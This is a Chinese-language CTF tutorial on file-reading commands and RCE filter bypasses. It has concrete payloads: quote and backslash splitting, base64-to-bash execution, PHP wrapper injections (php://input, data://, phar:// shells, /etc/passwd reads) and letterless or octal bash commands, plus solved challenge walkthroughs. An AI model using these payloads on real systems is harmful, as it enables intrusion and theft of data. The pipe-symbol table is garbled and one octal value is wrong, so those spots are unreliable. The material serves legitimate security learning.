CTF 比赛中常见的文件读取以及RCE姿势-详解

CTF 命令执行与绕过笔记

一、基础:替代cat的核心文件读取命令

以下命令可实现文件读取、内容处理等功能,在cat被拦截或需特定场景(如分页、排序)时使用。

命令名称 核心功能 常用选项 典型示例
cat 连接文件并打印到标准输出(基础读取) -n:显示行号(含空行)
-b:显示行号(仅非空行)
-s:压缩连续空行为1个
cat test.txt(读单个文件)
cat -n file1.txt file2.txt(合并+显行号)
tac 反向打印文件内容(从末行到首行) -n:反向显行号
-s 分隔符:指定行分隔符(默认换行)
tac log.txt(反向查日志)
tac -n data.txt(反向+显行号)
nl 为内容添加行号(比cat -n灵活) -b a:所有行(含空行)编号
-b t:仅非空行编号(默认)
-w 3:行号宽度设为3位(默认6位)
nl report.txt(默认非空行编号)
nl -b a -w 2 notes.txt(空行也编号+行宽2位)
head 打印文件开头部分(默认前10行) -n 5:显前5行(简写-5
-v:显文件名(多文件场景)
head -3 config.ini(读配置前3行)
head -v *.txt(多文件+显文件名)
tail 打印文件结尾部分(默认后10行),支持实时跟踪 -n 5:显后5行(简写-5
-f:实时跟踪更新(日志监控)
-F:跟踪时自动重试(文件重建后继续)
tail -f app.log(实时监控日志)
tail -n +20 data.csv(从第20行显到末尾)
sort 按行排序文件内容(默认ASCII码) -n:按数值排序
-r:反向排序
-k 2:按第2列排序
-u:去重(保留唯一行)
sort -n numbers.txt(按数值排序)
sort -k 3 -r students.txt(按第3列反向排序)
more 分页查看(仅向前翻页,适合小文件) -num:每页显num行
-d:显示操作提示(如“按空格翻页”)
more -20 long.txt(每页20行)
more -d log.txt(带操作提示)
less 灵活分页(支持前后翻页、搜索,适合大文件) -N:显行号
/关键词:向下搜关键词
?关键词:向上搜关键词
q:退出
less -N large.log(显行号读大日志)
less /error app.log(搜“error”)
wc 统计行数、单词数、字符数 -l:仅统计行数
-w:仅统计单词数
-c:仅统计字符数(含空格/换行)
wc -l access.log(统计日志行数)
wc -w -c essay.txt(统计单词+字符数)
grep 按模式搜索文本(支持正则) -i:忽略大小写
-r:递归搜目录下所有文件
-n:显匹配行行号
-v:反向匹配(显不包含关键词的行)
grep "error" app.log(搜日志“error”)
grep -ir "warning" /var/log/(递归搜+忽略大小写)
sed 流编辑器(替换、删除、新增,非交互式) s/旧/新/g:全局替换
-i:直接修改文件(谨慎用)
/关键词/d:删除含关键词的行
sed 's/old/new/g' test.txt(替换所有“old”)
sed -i '/#/d' config.ini(删注释行并保存)
awk 按列/字段处理结构化文本 -F 分隔符:指定列分隔符(默认空格)
$n:第n列(如$1=第1列)
NR:当前行号
awk -F ',' '{print $2}' data.csv(逗号分隔,打第2列)
awk 'NR>1 {print $1,$3}' students.txt(跳第1行,打1/3列)

关键命令补充说明

  1. nl 命令:短命令定位文件
    适合“命令长度限制”场景,根目录仅1个文件时,nl /*可直接定位并读取flag(无需完整文件名)。
    图示:nl命令定位flag
    nl命令定位flag

  2. cat 与 tac:反向读取互补
    两者功能完全互补(cat正序、tac反序),是CTF中常用的“基础文件读取组合”。
    图示:cat与tac互补
    cat与tac互补

  3. sort 命令:读取+排序一体
    可直接读取文件(如sort flag.txt),同时兼具排序功能,需“读取+排序”时可替代cat
    图示:sort命令读取文件
    sort命令读取文件

  4. head 命令:指定行数读取
    通过-n控制读取前N行,如head -5 flag.txt读flag前5行,适合“文件头部含关键信息”场景。
    图示:head指定行数
    head指定行数

  5. awk 命令:需定义处理脚本
    需通过脚本(如{print $1})定义逻辑,如awk '{print $0}' flag.txt可直接读文件($0表示整行)。
    图示:awk读取文件
    awk读取文件


二、命令执行绕过技巧

catsystem等关键词被黑名单拦截时,可通过以下方法绕过限制。

1. 管道符与分隔符绕过

利用符号的执行逻辑,拼接命令或强制执行目标操作,核心是通过“分号/逻辑符”拆分命令。

符号 实例 执行逻辑
; A;B 无论A成功与否,均执行B
& A&B ;功能一致,A、B均执行
&& A&&B 仅A成功(返回0)时,执行B
` ` `A
` `

2. 反斜杠绕过

\截断命令关键词,破坏黑名单对“完整命令”的匹配,bash会自动解析\为转义。
示例:若cat被拦截,执行c\at flag.txt(实际等同于cat flag.txt)。
图示:反斜杠绕过
反斜杠绕过

3. 单/双引号绕过

在命令关键词中间插入空引号,bash会自动忽略空引号,不影响命令执行。
示例ca''t flag.txt(空引号不破坏命令,实际执行cat flag.txt)。
图示:单引号绕过
单引号绕过

4. Base64编码绕过

将目标命令Base64编码后,通过base64 -d解码并执行,绕过关键词拦截(黑名单无法匹配编码后的字符串)。
步骤

  1. 编码命令:echo -n "cat flag.txt" | base64 → 得到编码结果Y2F0IGZsYWcudHh0
  2. 执行解码+命令:echo "Y2F0IGZsYWcudHh0" | base64 -d | bash

图示:Base64编码绕过
Base64编码绕过

5. PHP伪协议绕过

在PHP环境中,利用伪协议访问本地/远程资源,常用于文件包含漏洞(读取敏感文件、执行代码),核心是绕开“文件路径限制”或“命令拦截”。

(1)file:// 协议:访问本地文件系统

  • 作用:读取本地文件(默认支持,无需特殊配置);
  • 格式file://[绝对路径/相对路径]
  • 示例
    1
    2
    3
    4
    // 读绝对路径文件
    echo file_get_contents('file:///etc/passwd');
    // 读当前目录下的test.txt
    include 'file://./test.txt';

(2)php:// 协议:PHP内核内置协议(重点)

包含多个子协议,用于访问输入/输出流、过滤数据,是CTF中最常用的伪协议。

子协议 作用 使用条件 示例
php://input 读取HTTP请求的原始POST数据 无需特殊配置;allow_url_include=On时可执行代码 构造URL:http://xxx/?file=php://input,POST提交<?php phpinfo();?>
php://filter 过滤/转换文件内容(如Base64编码) 无需特殊配置;常用于读PHP源码(避免被解析) include 'php://filter/read=convert.base64-encode/resource=index.php'(编码后读源码)
php://output 作为输出流,直接发送数据到浏览器 无需特殊配置 file_put_contents('php://output', 'hello')(直接输出hello)
php://stdin 读取标准输入(CLI模式常用) 无需特殊配置 CLI下执行:php -r "echo fgets(STDIN);"(读取输入内容)

(3)data:// 协议:直接传递数据

  • 作用:通过URL传递文本/Base64编码数据,支持执行代码;
  • 使用条件:需allow_url_fopen=On + allow_url_include=On(默认allow_url_include=Off);
  • 格式
    • 文本格式:data://text/plain,[内容]
    • Base64格式:data://text/plain;base64,[编码内容]
  • 示例
    1
    2
    // Base64编码内容为"<?php phpinfo();?>"
    include 'data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+';

(4)phar:// 协议:访问PHAR归档文件

  • 作用:访问PHAR文件(类似ZIP),即使文件后缀被修改(如.jpg)仍可识别;
  • 特点:支持执行归档内的恶意代码;
  • 格式phar://[PHAR文件路径]/[内部文件]
  • 示例
    1
    2
    // 访问改名为shell.jpg的PHAR文件,执行内部的shell.php
    include 'phar://./shell.jpg/shell.php';

(5)zip:// 协议:访问ZIP压缩包内文件

  • 作用:读取ZIP压缩包内的文件;
  • 格式zip://[ZIP路径]#[内部文件名]#需URL编码为%23);
  • 示例
    1
    2
    // 读test.zip内的shell.php(#编码为%23)
    include 'zip://./test.zip%23shell.php';

伪协议关键配置

伪协议可用性受php.ini参数影响,需重点关注:

  • allow_url_fopen:控制是否允许通过URL访问文件(默认On);
  • allow_url_include:控制是否允许通过URL包含文件(默认Off,多数伪协议执行代码需开启)。

6. 取反绕过

通过PHP的“按位取反”运算,将命令关键词(如systemcat)转为不可见字符,绕过关键词拦截。
示例代码

1
2
3
4
5
6
7
8
9
<?php
$a = "system"; // 目标函数
$b = "cat /flag"; // 目标命令
// 取反并URL编码
$c = urlencode(~$a);
$d = urlencode(~$b);
// 生成执行链接(拼接取反后的字符)
echo "?cmd=(~".$c.")(~".$d.");";
?>

三、典型CTF命令执行题目解析

通过实际题目,理解绕过技巧的落地场景,核心是“根据限制选方法”。

1. 青少年CTF-RceMe:命令长度限制

题目代码

1
2
3
4
5
6
7
<?php
$command = $_GET['com'];
if (isset($command) && strlen($command) <= 5) { // 限制命令长度≤5
system($command);
} else {
print("你小子干什么呢?");
}

解题思路

  • 核心限制:命令长度≤5,无法输入完整文件名(如cat flag.txt长度超5);
  • 关键技巧:用nl /*(长度5)读取根目录所有文件,根目录仅1个文件时可直接定位flag;
  • 执行结果:访问?com=nl /*,直接输出flag内容。

图示:nl/*读取flag
nl/*读取flag
图示:flag结果
flag结果

2. 关键词过滤:拦截“flag”“system”

题目代码

1
2
3
4
5
6
7
8
9
10
11
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
// 不区分大小写拦截flag、system、php
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}

绕过方法(3种常用思路)

  1. 通配符绕过:用f*替代flagpassthru替代system,执行?c=passthru('cat%20f*');%20是空格URL编码);
  2. Base64解码绕过:编码cat flag.phpY2F0IGZsYWcucGhw,执行?c=passthru(base64_decode("Y2F0IGZsYWcucGhw"));
  3. 反引号执行:用反引号替代system,执行?c=echo(tac%20f*);(反引号内命令会被执行并返回结果)。

图示:过滤flag绕过
过滤flag绕过

3. CTFshow 极限命令执行一:字符集限制

题目代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
error_reporting(0);
highlight_file(__FILE__);

if (isset($_POST['ctf_show'])) {
$ctfshow = $_POST['ctf_show'];
// 仅允许数字、/、?等少量符号,拦截所有字母、下划线、特殊符号
if (!preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/",$ctfshow)){
system($ctfshow);
}else{
echo("????????");
}
}
?>

解题思路

  • 核心限制:无法输入字母(如catnl),仅能输入数字、/?
  • 关键技巧:用?匹配文件名字符(1个?匹配1个任意字符),根目录getflag文件可匹配为/?????a?(共7个字符,对应getflag长度);
  • 执行步骤:POST提交ctf_show=/?????a?,直接运行根目录getflag命令获取flag。

图示:问号匹配getflag
问号匹配getflag
图示:执行结果
执行结果


四、进阶RCE技巧

当常规命令(字母、符号)被完全拦截时,利用bash语法特性(如八进制、算术扩展)构造命令执行。

1. 八进制RCE

将命令的ASCII码转为八进制,通过$'\八进制序列'格式执行(bash原生支持此语法),核心是“用数字替代字母”。

常用命令八进制对照表

命令 ASCII码(十进制) 八进制序列 执行命令
ls 108、115 154、163 $'\154\163'
whoami 119、104、111、97、109、105 167、150、155、141、155、151 $'\167\150\157\141\155\151'

效果演示

图示:八进制ls执行
八进制ls执行
图示:八进制whoami执行
八进制whoami执行

2. bash Here字符串与算术扩展

(1)Here字符串:传递标准输入

  • 语法命令 <<< "字符串内容"
  • 作用:将字符串作为标准输入传递给命令,末尾自动添加\n(换行符);
  • 示例cat <<< "hello world"(等同于echo "hello world" | cat)。

图示:Here字符串示例
Here字符串示例

(2)算术扩展:构造数字与命令

通过$((算术表达式))语法,用位移运算构造数字(如基底2),再拼接八进制命令,核心是“用运算替代直接写数字”。

运算需求 算术表达式 结果 说明
构造基底2 $((1<<1)) 2 1的二进制左移1位(1→10,即十进制2)
构造数字8 $((1<<3)) 8 1的二进制左移3位(1→1000,即十进制8)

图示:位移构造8
位移构造8
图示:位移构造2
位移构造2

3. 八进制命令构造实战(以ls为例)

核心逻辑

  1. ls的八进制为154 163,先转为二进制(154→10011010163→10100011);
  2. $((基底#数字))指定二进制基底(如$((2#10011010))表示“二进制10011010”,结果为154);
  3. 通过位移运算构造基底2$((1<<1))),拼接二进制数字得到八进制值。

构造步骤

  • 构造八进制154$(( $((1<<1)) # 10011010 )) → 结果154;
  • 构造八进制163$(( $((1<<1)) # 10100011 )) → 结果163;
  • 最终执行命令:$'\'"$(( $((1<<1)) # 10011010 ))"\'"$(( $((1<<1)) # 10100011 ))"'(拼接后等同于$'\154\163',即ls)。

ls命令构造
ls命令构造